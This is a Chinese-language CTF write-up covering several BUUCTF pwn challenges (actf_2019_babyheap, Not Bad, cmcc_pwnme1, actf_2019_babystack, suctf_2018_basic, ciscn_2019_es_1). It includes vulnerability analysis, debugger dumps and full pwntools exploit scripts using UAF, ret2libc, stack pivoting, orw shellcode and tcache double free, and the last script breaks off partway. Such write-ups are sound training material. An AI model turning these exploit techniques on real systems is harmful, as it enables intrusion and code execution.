}
在原先创建堆的时候就已经创建好一定大小的堆了,edit
功能中还可以控制输入长度,因此可以造成堆溢出,接下来就是构造堆来泄露libc
并改__malloc_hook
了
泄露libc
:printf
输出的时候会被\x00
截断,而且程序控制输入值的最后一位改成0
,所以不能通过控制输入值覆盖掉\x00
来输出libc
*(_BYTE *)(*(_QWORD *)&itemlist[4 * v1 + 2] + (int)read(0, *(void **)&itemlist[4 * v1 + 2], v2)) = 0;
首先创建三个堆,其中第一个堆用于修改第二个堆的大小,第二个堆用于覆盖第三个堆,其中第二个堆和第三个堆的大小之和要大于unsorted bin
的大小
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x603020
Size: 0x20 (with flag bits: 0x21)
Allocated chunk | PREV_INUSE
Addr: 0x603040
Size: 0x20 (with flag bits: 0x21)
Allocated chunk | PREV_INUSE
Addr: 0x603060
Size: 0xa0 (with flag bits: 0xa1)
Top chunk | PREV_INUSE
Addr: 0x603100
Size: 0x20d60 (with flag bits: 0x20d61)
接下来用第一个堆改变第二个堆去覆盖第三个堆,释放第二个堆之后在fd
和bk
的位置中存在libc
地址
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x603020
Size: 0x20 (with flag bits: 0x21)
Free chunk (unsortedbin) | PREV_INUSE
Addr: 0x603040
Size: 0xc0 (with flag bits: 0xc1)
fd: 0x7ffff7dd1b78
bk: 0x7ffff7dd1b78
...
Top chunk | PREV_INUSE
Addr: 0x603200
Size: 0x20c60 (with flag bits: 0x20c61)
此时创建一个堆将从unsorted bin
中切割,切割之后libc
会落在剩余的unsorted bin
的堆中,控制创建的堆大小使得libc
恰好落在第三个堆的fd
位置,控制创建的堆大小为0x18
时libc
恰好会落在第三个堆上并且第三个堆仍然存在没有被释放,此时使用show
功能即可获取libc
pwndbg> x/20gx 0x603020
0x603020: 0x0000000000000000 0x0000000000000021
0x603030: 0x6161616161616161 0x6161616161616161
0x603040: 0x6161616161616161 0x0000000000000021
0x603050: 0x00007ffff7dd0062 0x00007ffff7dd1c28
0x603060: 0x6161616161616161 0x00000000000000a1
0x603070: 0x00007ffff7dd1b78 0x00007ffff7dd1b78
0x603080: 0x6161616161616161 0x6161616161616161
0x603090: 0x6161616161616161 0x6161616161616161
0x6030a0: 0x6161616161616161 0x6161616161616161
0x6030b0: 0x6161616161616161 0x6161616161616161
接下来利用fast bin
实现任意地址写,将__malloc_hook
改为gadget
,需要注意的是不能直接将fd
改成__malloc_hook
,而要利用find_fake_chunk
找到合适的fake_chunk
来间接修改__malloc_hook
pwndbg> bin
fastbins
0x70: 0x603190 —▸ 0x7ffff7dd1aed ◂— 0xfff7a92e20000000
unsortedbin
all: 0x603060 —▸ 0x7ffff7dd1b78 ◂— 0x603060 /* '`0`' */
smallbins
empty
largebins
empty
最后释放fake chunk
会调用munmap_chunk
,释放的时候会报非法地址的错误,最后会调用__malloc_hook,
实现getshell
► 0x7ffff7afd2a4 mov rax, qword ptr [rip + 0x2d3c0d]
0x7ffff7afd2ab lea rsi, [rsp + 0x50]
0x7ffff7afd2b0 lea rdi, [rip + 0x9caa0]
0x7ffff7afd2b7 mov rdx, qword ptr [rax]
0x7ffff7afd2ba call execve <execve>
0x7ffff7afd2bf call abort <abort>
0x7ffff7afd2c4 lea rax, [rip + 0x9ca8c]
0x7ffff7afd2cb mov qword ptr [rsp + 0x68], 0
0x7ffff7afd2d4 mov qword ptr [rsp + 0x50], rax
0x7ffff7afd2d9 mov rax, qword ptr [rsp + 0x20]
0x7ffff7afd2de mov qword ptr [rsp + 0x60], rax
actf_2019_babyheap
检查保护:没开地址随机化
☁ actf_2019_babyheap checksec pwn
[*] '/home/starrysky/buuctf/actf_2019_babyheap/pwn'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x3ff000)
分析函数:
就是简单的增删查功能,其中删除功能中存在UAF
漏洞
if ( v1 >= 0 && v1 < count )
{
if ( ptr[v1] )
{
free((void *)ptr[v1]->content_ptr);
free(ptr[v1]); // vuln
}
}
并且程序中存在system
和/bin/sh
.plt.got:00000000004007A0 ; int system(const char *command)
.plt.got:00000000004007A0 system proc near ; CODE XREF: menu+7B↓p
.plt.got:00000000004007A0 FF 25 0A 18 20 00 jmp cs:system_ptr
.plt.got:00000000004007A0
.plt.got:00000000004007A0 system endp
.data:0000000000602010 2F db 2Fh ; /
.data:0000000000602011 62 db 62h ; b
.data:0000000000602012 69 db 69h ; i
.data:0000000000602013 6E db 6Eh ; n
.data:0000000000602014 2F db 2Fh ; /
.data:0000000000602015 73 db 73h ; s
.data:0000000000602016 68 db 68h ; h
.data:0000000000602017 00 db 0
创建堆的逻辑:先创建一个堆管理用于存储printf
函数和保存堆内容的堆的地址,再根据长度创建一个存储堆内容的堆
if ( count <= 5 )
{
for ( i = 0; i <= 4; ++i )
{
if ( !ptr[i] )
{
ptr[i] = (heap *)malloc(0x10uLL);
*(_QWORD *)&ptr[i]->func = print;
puts("Please input size: ");
read(0, buf, 8uLL);
len = atoi(buf);
v0 = ptr[i];
v0->content_ptr = (__int64)malloc(len);
puts("Please input content: ");
read(0, (void *)ptr[i]->content_ptr, len);
++count;
return __readfsqword(0x28u) ^ v5;
}
}
}
查的逻辑:调用堆管理中的printf
,传递参数为堆管理中的堆指针中的内容
if ( v1 >= 0 && v1 < count )
{
if ( ptr[v1] )
(*(void (__fastcall **)(__int64))&ptr[v1]->func)(ptr[v1]->content_ptr);
}
因此只需要想办法让show
函数这里的content_ptr
改成/bin/sh
的地址,让func
改成system
的地址即可
构造:由于存在UAF
漏洞,即释放的堆管理地址仍然存在,所以在show
的时候仍然可以利用释放过的堆,而控制堆管理则需要分析堆的创建过程:创建一个0x20
的堆和一个指定大小的堆
那么创建两个大小大于0x20
的堆时释放它们的时候它们的堆管理都进入fast bin
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x2207000
Size: 0x250 (with flag bits: 0x251)
Free chunk (tcachebins) | PREV_INUSE
Addr: 0x2207250
Size: 0x20 (with flag bits: 0x21)
fd: 0x00
Free chunk (tcachebins) | PREV_INUSE
Addr: 0x2207270
Size: 0x70 (with flag bits: 0x71)
fd: 0x00
Free chunk (tcachebins) | PREV_INUSE
Addr: 0x22072e0
Size: 0x20 (with flag bits: 0x21)
fd: 0x2207260
Free chunk (tcachebins) | PREV_INUSE
Addr: 0x2207300
Size: 0x70 (with flag bits: 0x71)
fd: 0x2207280
Top chunk | PREV_INUSE
Addr: 0x2207370
Size: 0x20c90 (with flag bits: 0x20c91)
pwndbg> bin
tcachebins
0x20 [ 2]: 0x22072f0 —▸ 0x2207260 ◂— 0x0
0x70 [ 2]: 0x2207310 —▸ 0x2207280 ◂— 0x0
fastbins
empty
unsortedbin
empty
smallbins
empty
largebins
empty
此时创建一个0x20
的堆,其中堆管理和实际输入内容的堆大小都是0x20
,两个堆都是从之前释放的fast bin
中取值,而fast bin
中原先存在的两个堆就是用于管理的堆。因此创建一个0x20
的堆之后可控的那个堆必然在其中一个堆管理的地址上,此时控制了func
和content_ptr
地址的内容再去show
即可执行system('/bin/sh')
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x1e2a000
Size: 0x250 (with flag bits: 0x251)
Free chunk (tcachebins) | PREV_INUSE
Addr: 0x1e2a250
Size: 0x20 (with flag bits: 0x21)
fd: 0x00
Free chunk (tcachebins) | PREV_INUSE
Addr: 0x1e2a270
Size: 0x70 (with flag bits: 0x71)
fd: 0x00
Allocated chunk | PREV_INUSE
Addr: 0x1e2a2e0
Size: 0x20 (with flag bits: 0x21)
Free chunk (tcachebins) | PREV_INUSE
Addr: 0x1e2a300
Size: 0x70 (with flag bits: 0x71)
fd: 0x1e2a280
Top chunk | PREV_INUSE
Addr: 0x1e2a370
Size: 0x20c90 (with flag bits: 0x20c91)
pwndbg> x/20gx 0x1e2a2e0
0x1e2a2e0: 0x0000000000000000 0x0000000000000021
0x1e2a2f0: 0x0000000001e2a260 0x000000000040098a
0x1e2a300: 0x0000000000000000 0x0000000000000071
0x1e2a310: 0x0000000001e2a280 0x0000000000000000
0x1e2a320: 0x0000000000000000 0x0000000000000000
0x1e2a330: 0x0000000000000000 0x0000000000000000
0x1e2a340: 0x0000000000000000 0x0000000000000000
0x1e2a350: 0x0000000000000000 0x0000000000000000
0x1e2a360: 0x0000000000000000 0x0000000000000000
0x1e2a370: 0x0000000000000000 0x0000000000020c91
pwndbg> x/20gx 0x000000000040098a
0x40098a: 0x20ec8348e5894855 0x048b4864e87d8948
0x40099a: 0x4589480000002825 0x48e8458b48c031f8
0x4009aa: 0xb800400e68bfc689 0xfffdede800000000
0x4009ba: 0x4864f8458b4890ff 0x7400000028250433
0x4009ca: 0xc3c9fffffdc0e805 0x10ec8348e5894855
0x4009da: 0x00002825048b4864 0xbfc031f845894800
0x4009ea: 0xfffd95e800400e80 0x8be800400ea0bfff
0x4009fa: 0x00400e80bffffffd 0x0ec0bffffffd81e8
0x400a0a: 0xbffffffd77e80040 0xfffd6de800400ee0
0x400a1a: 0x63e800400f00bfff 0x00400f20bffffffd
0x400cec mov edx, dword ptr [rbp - 0x24]
0x400cef movsxd rdx, edx
0x400cf2 mov rdx, qword ptr [rdx*8 + 0x602060]
0x400cfa mov rdx, qword ptr [rdx]
0x400cfd mov rdi, rdx
► 0x400d00 call rax <system@plt>
command: 0x602010 ◂— 0x68732f6e69622f /* '/bin/sh' */
0x400d02 mov rax, qword ptr [rbp - 8]
0x400d06 xor rax, qword ptr fs:[0x28]
0x400d0f je 0x400d16 <0x400d16>
0x400d11 call __stack_chk_fail@plt <__stack_chk_fail@plt>
0x400d16 leave
[极客大挑战 2019]Not Bad
没有开任何保护,开了沙箱,可以使用orw
not_bad seccomp-tools dump ./pwn
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x08 0xc000003e if (A != ARCH_X86_64) goto 0010
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x05 0xffffffff if (A != 0xffffffff) goto 0010
0005: 0x15 0x03 0x00 0x00000000 if (A == read) goto 0009
0006: 0x15 0x02 0x00 0x00000001 if (A == write) goto 0009
0007: 0x15 0x01 0x00 0x00000002 if (A == open) goto 0009
0008: 0x15 0x00 0x01 0x0000003c if (A != exit) goto 0010
0009: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0010: 0x06 0x00 0x00 0x00000000 return KILL
栈可读可写可执行,0x123000
可写可执行
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
Start End Perm Size Offset File
0x123000 0x124000 -wxp 1000 0 [anon_00123]
0x3ff000 0x400000 rw-p 1000 0 /home/starrysky/buuctf/not_bad/pwn
0x400000 0x401000 r-xp 1000 1000 /home/starrysky/buuctf/not_bad/pwn
0x600000 0x601000 r--p 1000 1000 /home/starrysky/buuctf/not_bad/pwn
0x601000 0x602000 rw-p 1000 2000 /home/starrysky/buuctf/not_bad/pwn
0x602000 0x623000 rw-p 21000 0 [heap]
0x7ffff79e4000 0x7ffff7bcb000 r-xp 1e7000 0 /home/starrysky/buuctf/not_bad/2.27/libc-2.27.so
0x7ffff7bcb000 0x7ffff7dcb000 ---p 200000 1e7000 /home/starrysky/buuctf/not_bad/2.27/libc-2.27.so
0x7ffff7dcb000 0x7ffff7dcf000 r--p 4000 1e7000 /home/starrysky/buuctf/not_bad/2.27/libc-2.27.so
0x7ffff7dcf000 0x7ffff7dd1000 rw-p 2000 1eb000 /home/starrysky/buuctf/not_bad/2.27/libc-2.27.so
0x7ffff7dd1000 0x7ffff7dd5000 rw-p 4000 0 [anon_7ffff7dd1]
0x7ffff7dd5000 0x7ffff7dfc000 r-xp 27000 0 /home/starrysky/buuctf/not_bad/2.27/ld-2.27.so
0x7ffff7fbb000 0x7ffff7fbe000 rw-p 3000 0 [anon_7ffff7fbb]
0x7ffff7fbe000 0x7ffff7fc0000 r--p 2000 0 /usr/lib/x86_64-linux-gnu/libseccomp.so.2.5.1
0x7ffff7fc0000 0x7ffff7fcf000 r-xp f000 2000 /usr/lib/x86_64-linux-gnu/libseccomp.so.2.5.1
0x7ffff7fcf000 0x7ffff7fdd000 r--p e000 11000 /usr/lib/x86_64-linux-gnu/libseccomp.so.2.5.1
0x7ffff7fdd000 0x7ffff7fde000 ---p 1000 1f000 /usr/lib/x86_64-linux-gnu/libseccomp.so.2.5.1
0x7ffff7fde000 0x7ffff7fdf000 r--p 1000 1f000 /usr/lib/x86_64-linux-gnu/libseccomp.so.2.5.1
0x7ffff7fdf000 0x7ffff7fe0000 rw-p 1000 20000 /usr/lib/x86_64-linux-gnu/libseccomp.so.2.5.1
0x7ffff7fe0000 0x7ffff7fe2000 rw-p 2000 0 [anon_7ffff7fe0]
0x7ffff7ff6000 0x7ffff7ffa000 r--p 4000 0 [vvar]
0x7ffff7ffa000 0x7ffff7ffc000 r-xp 2000 0 [vdso]
0x7ffff7ffc000 0x7ffff7ffd000 r--p 1000 27000 /home/starrysky/buuctf/not_bad/2.27/ld-2.27.so
0x7ffff7ffd000 0x7ffff7ffe000 rw-p 1000 28000 /home/starrysky/buuctf/not_bad/2.27/ld-2.27.so
0x7ffff7ffe000 0x7ffff7fff000 rw-p 1000 0 [anon_7ffff7ffe]
0x7ffffffde000 0x7ffffffff000 rwxp 21000 0 [stack]
0xffffffffff600000 0xffffffffff601000 --xp 1000 0 [vsyscall]
所以本题的思路就是ret2shellcode
,运行到shellcode
的方法就是jmp rsp
not_bad ROPgadget --binary pwn --only 'jmp'
Gadgets information
============================================================
0x000000000040078b : jmp 0x400770
0x00000000004008eb : jmp 0x400880
0x0000000000400b03 : jmp 0x400b7a
0x0000000000400b87 : jmp qword ptr [rax - 0x68000000]
0x0000000000400ceb : jmp qword ptr [rbp]
0x0000000000400865 : jmp rax
0x0000000000400a01 : jmp rsp
Unique gadgets found: 7
先随意填充局部变量和rbp
,再运行到jmp rsp
pwndbg> stack
00:0000│ rsp 0x7fff2bc941f0 ◂— 0xc748ff3148c03148 <--局部变量开始位置
01:0008│ 0x7fff2bc941f8 ◂— 0xc2c74800123000c6
02:0010│ 0x7fff2bc94200 ◂— 0xc748050f00000100
03:0018│ 0x7fff2bc94208 ◂— 0xd0ff00123000c0
04:0020│ rbp 0x7fff2bc94210 ◂— 0x0
05:0028│ 0x7fff2bc94218 —▸ 0x400a01 ◂— jmp rsp
06:0030│ 0x7fff2bc94220 ◂— 0x480ae4ff30ec8348 <--跳转之后能执行的位置
07:0038│ 0x7fff2bc94228 —▸ 0x123000 ◂— add byte ptr [rax], al
► 0x400a01 jmp rsp <0x7fff2bc94220>
写入长度不够,在能执行的位置可以写入shellcode
先扩充能执行代码空间,即sub rsp, 0x20
jmp rsp
,执行到局部变量内容,然后在局部变量中填入shellcode
来再次读取,由于没开pie
所以可以选择将orw
读取到0x123000
,读取之后还需要去执行orw
,所以需要先将读取的地址赋给rax
,接着call rax
即可执行orw
最终exp如下:
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
file_name = './pwn'
li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')
#context.terminal = ['tmux','splitw','-h']
debug = 0
if debug:
r = remote('node4.buuoj.cn', 27338)
else:
r = process(file_name)
elf = ELF(file_name)
def dbg():
gdb.attach(r)
jmp_rsp = 0x0000000000400a01
p = f"""
xor rax,rax;
xor rdi,rdi;
mov rsi,0x123000;
mov rdx,0x100;
syscall;
mov rax,0x123000;
call rax;
"""
p = asm(p)
p = p.ljust(0x28, b'\x00') + p64(jmp_rsp) + asm('sub rsp,0x30;jmp rsp')
r.sendline(p)
shellcode = shellcraft.open('./flag')
shellcode += shellcraft.read(3, 0x123000 + 0x100, 0x30)
shellcode += shellcraft.write(1, 0x123000 + 0x100,0x30)
r.sendline(asm(shellcode))
r.interactive()
cmcc_pwnme1
这题就是一道简单的栈溢出,先检查保护
cmcc_pwnme1 checksec pwn
[*] '/home/starrysky/buuctf/cmcc_pwnme1/pwn'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8047000)
RWX: Has RWX segments
看到Has RWX segments
第一反应想到的是ret2shellcode
程序主要内容如下:
int getfruit()
{
char v1[164]; // [esp+14h] [ebp-A4h] BYREF
fflush(stdout);
printf("Please input the name of fruit:");
__isoc99_scanf("%s", v1);
return printf("oh,%s...\n", v1);
}
其中存在一个后面函数,但是buuctf
又又又又改了远程的flag
位置,所以不能直接溢出到后门
int getflag()
{
char s[120]; // [esp+14h] [ebp-84h] BYREF
FILE *stream; // [esp+8Ch] [ebp-Ch]
puts("Yeah, you got it...");
stream = fopen("/home/flag", "r");
if ( !stream )
perror("/home/flag");
fgets(s, 120, stream);
puts(s);
fclose(stream);
return 1;
}
尝试写shellcode
,先查看可执行段在哪
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
Start End Perm Size Offset File
0x8047000 0x8048000 rw-p 1000 0 /home/starrysky/buuctf/cmcc_pwnme1/pwn
0x8048000 0x8049000 r-xp 1000 1000 /home/starrysky/buuctf/cmcc_pwnme1/pwn
0x8049000 0x804a000 r--p 1000 1000 /home/starrysky/buuctf/cmcc_pwnme1/pwn
0x804a000 0x804b000 rw-p 1000 2000 /home/starrysky/buuctf/cmcc_pwnme1/pwn
0xf7e15000 0xf7fc2000 r-xp 1ad000 0 /home/starrysky/buuctf/cmcc_pwnme1/libc-2.23.so
0xf7fc2000 0xf7fc3000 ---p 1000 1ad000 /home/starrysky/buuctf/cmcc_pwnme1/libc-2.23.so
0xf7fc3000 0xf7fc5000 r--p 2000 1ad000 /home/starrysky/buuctf/cmcc_pwnme1/libc-2.23.so
0xf7fc5000 0xf7fc6000 rw-p 1000 1af000 /home/starrysky/buuctf/cmcc_pwnme1/libc-2.23.so
0xf7fc6000 0xf7fcb000 rw-p 5000 0 [anon_f7fc6]
0xf7fcb000 0xf7fcf000 r--p 4000 0 [vvar]
0xf7fcf000 0xf7fd1000 r-xp 2000 0 [vdso]
0xf7fd1000 0xf7fd2000 r--p 1000 0 /usr/lib/i386-linux-gnu/ld-2.31.so
0xf7fd2000 0xf7ff0000 r-xp 1e000 1000 /usr/lib/i386-linux-gnu/ld-2.31.so
0xf7ff0000 0xf7ffb000 r--p b000 1f000 /usr/lib/i386-linux-gnu/ld-2.31.so
0xf7ffc000 0xf7ffd000 r--p 1000 2a000 /usr/lib/i386-linux-gnu/ld-2.31.so
0xf7ffd000 0xf7ffe000 rw-p 1000 2b000 /usr/lib/i386-linux-gnu/ld-2.31.so
0xfffdd000 0xffffe000 rwxp 21000 0 [stack]
发现和上一题一样,可执行段在栈上,现在最主要的就是如何控制程序流去执行到栈,但是通过各种尝试最后发现要获取栈地址只能通过libc
,那不如直接ret2libc
,最后本题还是用了ret2libc
得解(好气想了半天怎么执行到shellcode
exp如下
from pwn import *
context(arch='i386', os='linux', log_level='debug')
file_name = './pwn'
li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')
#context.terminal = ['tmux','splitw','-h']
debug = 1
if debug:
r = remote('node4.buuoj.cn', 27029)
else:
r = process(file_name)
elf = ELF(file_name)
def dbg():
gdb.attach(r)
puts_got=elf.got['puts']
puts_plt=elf.plt['puts']
main_addr=elf.sym['main']
ret = 0x08048476
r.sendline('5')
p = b'a'*(0xa4+4) + p32(puts_plt) + p32(main_addr) + p32(puts_got)
r.sendline(p)
r.recvuntil(b'a' * (0xa4 + 4))
puts_addr = u32(r.recvuntil('\xf7')[-4:])
libc = ELF('./libc-2.23.so')
libc_base = puts_addr - libc.sym['puts']
system = libc.sym['system'] + libc_base
bin_sh = libc.search(b'/bin/sh').__next__() + libc_base
r.sendline('5')
p = b'a' * (0xa4 + 4) + p32(system) + p32(main_addr) + p32(bin_sh)
r.sendline(p)
r.interactive()
actf_2019_babystack
64
位的栈题,开了堆栈不可执行
actf_2019_babystack checksec pwn
[*] '/home/starrysky/buuctf/actf_2019_babystack/pwn'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x3fe000)
程序也很简单,读取指定的长度内容到栈上,且输出变量地址
puts("Welcome to ACTF's babystack!");
sleep(3u);
puts("How many bytes of your message?");
putchar(0x3E);
get_len();
if ( len <= 224 )
{
printf("Your message will be saved at %p\n", s);
puts("What is the content of your message?");
putchar('>');
read(0, s, len);
puts("Byebye~");
return 0LL;
}
但是get_len
函数限制了不能使用整型溢出
void __fastcall sub_400A1A()
{
char s[16]; // [rsp+0h] [rbp-10h] BYREF
fgets(s, 8, stdin);
len = atol(s);
}
但是读取的内容还是存在0x8
字节的溢出,也就刚好可以返回到一个地址,溢出长度不够,所以可以想到使用栈迁移,先将需要执行的内容写到栈上再把程序流直接劫持到栈上,这里可以使用ret2libc
,但直接返回到main
或start
故技重施却不能正常输入,于是想到在第一次输入就控制执行read
填写到指定地址再次利用栈迁移执行到指定地址,但是这个地址不能是原栈地址或向后一部分的地址,所以需要考虑找一个可写的地址
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
Start End Perm Size Offset File
0x3fe000 0x400000 rw-p 2000 0 /home/starrysky/buuctf/actf_2019_babystack/pwn
0x400000 0x401000 r-xp 1000 2000 /home/starrysky/buuctf/actf_2019_babystack/pwn
0x600000 0x601000 r--p 1000 2000 /home/starrysky/buuctf/actf_2019_babystack/pwn
0x601000 0x602000 rw-p 1000 3000 /home/starrysky/buuctf/actf_2019_babystack/pwn
0x7ffff79e4000 0x7ffff7bcb000 r-xp 1e7000 0 /home/starrysky/buuctf/actf_2019_babystack/2.27/libc-2.27.so
0x7ffff7bcb000 0x7ffff7dcb000 ---p 200000 1e7000 /home/starrysky/buuctf/actf_2019_babystack/2.27/libc-2.27.so
0x7ffff7dcb000 0x7ffff7dcf000 r--p 4000 1e7000 /home/starrysky/buuctf/actf_2019_babystack/2.27/libc-2.27.so
0x7ffff7dcf000 0x7ffff7dd1000 rw-p 2000 1eb000 /home/starrysky/buuctf/actf_2019_babystack/2.27/libc-2.27.so
0x7ffff7dd1000 0x7ffff7dd5000 rw-p 4000 0 [anon_7ffff7dd1]
0x7ffff7dd5000 0x7ffff7dfc000 r-xp 27000 0 /home/starrysky/buuctf/actf_2019_babystack/2.27/ld-2.27.so
0x7ffff7ff4000 0x7ffff7ff6000 rw-p 2000 0 [anon_7ffff7ff4]
0x7ffff7ff6000 0x7ffff7ffa000 r--p 4000 0 [vvar]
0x7ffff7ffa000 0x7ffff7ffc000 r-xp 2000 0 [vdso]
0x7ffff7ffc000 0x7ffff7ffd000 r--p 1000 27000 /home/starrysky/buuctf/actf_2019_babystack/2.27/ld-2.27.so
0x7ffff7ffd000 0x7ffff7ffe000 rw-p 1000 28000 /home/starrysky/buuctf/actf_2019_babystack/2.27/ld-2.27.so
0x7ffff7ffe000 0x7ffff7fff000 rw-p 1000 0 [anon_7ffff7ffe]
0x7ffffffde000 0x7ffffffff000 rw-p 21000 0 [stack]
0xffffffffff600000 0xffffffffff601000 --xp 1000 0 [vsyscall]
由于没有开地址随机化,以上地址中可以采用0x601000 0x602000 rw-p 1000 3000 /home/starrysky/buuctf/actf_2019_babystack/pwn
这一段地址区域,综上在第一次写入的内容一共有:puts
输出libc
地址+read
输入下一次需要控制的内容+两次迁移
具体exp如下
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
file_name = './pwn'
li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')
#context.terminal = ['tmux','splitw','-h']
debug = 1
if debug:
r = remote('node4.buuoj.cn', 26094)
else:
r = process(file_name)
elf = ELF(file_name)
def dbg():
gdb.attach(r)
r.sendlineafter(b'How many bytes of your message?', str(224))
r.recvuntil(b'0x')
addr = int(r.recv(12), 16)
main = 0x400800
ret = 0x0000000000400709
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
read = elf.plt['read']
pop_rsi_r15_ret = 0x0000000000400ad1
libc = ELF('./2.27/libc-2.27.so')
pop_rdi_ret = 0x0000000000400ad3
pop_rbp_ret = 0x0000000000400860
leave_ret = 0x0000000000400a18
p = p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt)
p += p64(pop_rdi_ret) + p64(0) + p64(pop_rsi_r15_ret) + p64(puts_got) + p64(0) + p64(read)
p += p64(puts_plt)
p = p.ljust(0xd0, b'\x00') + p64(addr - 0x8) + p64(leave_ret)
r.sendafter(b'What is the content of your message?', p)
puts_addr = u64(r.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
libc_base = puts_addr - libc.sym['puts']
one = [0x4f2c5, 0x4f322, 0x10a38c]
ogg = one[1] + libc_base
sleep(0.5)
r.send(p64(ogg))
r.interactive()
suctf_2018_basic pwn
一道栈题,先检查保护
suctf_2018_basic checksec pwn
[*] '/home/starrysky/buuctf/suctf_2018_basic/pwn'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x3fe000)
查看程序,很简单的一个栈溢出
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s[268]; // [rsp+10h] [rbp-110h] BYREF
int v5; // [rsp+11Ch] [rbp-4h]
scanf("%s", s);
v5 = strlen(s);
printf("Hi %s\n", s);
return 0;
}
存在后门函数
int callThisFun(void)
{
char *path[4]; // [rsp+0h] [rbp-20h] BYREF
path[0] = "/bin/cat";
path[1] = "flag.txt";
path[2] = 0LL;
return execve("/bin/cat", path, 0LL);
}
按照惯例来说,远程文件名应该是不对的,但是还是尝试一下直接返回到后门尝试一下
[*] Switching to interactive mode
$ cat flag
[DEBUG] Sent 0x9 bytes:
b'cat flag\n'
[DEBUG] Received 0x2b bytes:
b'flag{e89f200e-b1f5-4bab-972d-c7ce0425b67a}\n'
flag{e89f200e-b1f5-4bab-972d-c7ce0425b67a}
[*] Got EOF while reading in interactive
$
[*] Interrupted
[*] Closed connection to node4.buuoj.cn port 28894
嗯…结果对了,exp如下
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
file_name = './pwn'
li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')
#context.terminal = ['tmux','splitw','-h']
debug = 1
if debug:
r = remote('node4.buuoj.cn', 28894)
else:
r = process(file_name)
elf = ELF(file_name)
def dbg():
gdb.attach(r)
backdoor = 0x401157
r.send(b'a' * 0x118 + p64(backdoor))
r.interactive()
ciscn_2019_es_1
这是一道堆题,检查保护发现保护全开,逆程序找漏洞
add
函数限制了最多创建12个堆,输入指定长度的name
和电话号码,但实际上也没有要求是数字
heap_addr[index] = malloc(0x18uLL);
puts("Please input the size of compary's name");
__isoc99_scanf("%d", size);
heap_addr[heap_number]->name_size = size[0];
heap_ptr = heap_addr[heap_number];
heap_ptr->name_ptr = malloc(LODWORD(size[0]));
puts("please input name:");
read(0, heap_addr[heap_number]->name_ptr, LODWORD(size[0]));
puts("please input compary call:");
read(0, &heap_addr[heap_number]->ring, 0xCuLL);
HIBYTE(heap_addr[heap_number][1].name_ptr) = 0;
puts("Done!");
++heap_number;
delete
函数存在UAF
漏洞
unsigned __int64 delete()
{
int v1; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
puts("Please input the index:");
__isoc99_scanf("%d", &v1);
if ( heap_addr[v1] )
free(*heap_addr[v1]); //vuln
puts("You try it!");
puts("Done");
return __readfsqword(0x28u) ^ v2;
}
show
函数可以输出name
和电话号码,基本就是用于输出libc
的
第一步就是输出libc
, 由于版本是2.27
存在tcache
,所以要先填充tcache
再通过unsorted bin
获取libc
for i in range(8):
add(0x90, b'b', b'd')
for i in range(7):
delete(i)
show(7)
接下来就是考虑如何任意地址写,一开始想的是想办法去溢出然后控制堆大小,然后发现根本没有漏洞可以溢出。然后想起来double free
,试了一下确实可以,所以思路就是double free
到tcache
中,再通过add
改fd
为__free_hook
,再申请出来即可实现任意地址写,但是tcache
有一个检查,从tcache
中取出堆之后这一行的下标不能为负数,所以可以通过三次释放同一个堆到tcache
中的方式来增加数组下标值,此时再取出就可以通过检查了,但堆数量一定会超过。翻了翻笔记想起来tcache bin
的大小范围在0x400
之内,超过0x400
直接进入unsorted bin
,利用这一特点就不需要再去创建八个堆泄露地址了
exp如下:
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
file_name = './pwn'
li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')
#context.terminal = ['tmux','splitw','-h']
debug = 1
if debug:
r = remote('node4.buuoj.cn', 29084)
else:
r = process(file_name)
elf = ELF(file_name)
def dbg():
gdb.attach(r)
def add(name_size, name, phone_num):
r.sendlineafter(b'choice:', b'1')
r.sendlineafter(b"Please input the size of compary's name", str(name_size))
r.sendafter(b'please input name:', name)
r.sendafter(b'please input compary call:', phone_num)
def show(index):
r.sendlineafter(b'choice:', b'2')
r.sendlineafter(b'Please input the index:', str(index))
def delete(index):
r.sendlineafter(b'choice:', b'3')
r.sendlineafter(b'Please input the index:', str(index))
add(0x500, b'b', b'd')
add(0x50, b'b', b'd')
delete(0)
show(0)
libc_base = u64(r.recvuntil('\x7f')[-6:].ljust(8, b'\x00')) - 0x3ebca0
libc = ELF('./2.27/libc-2.27.so')
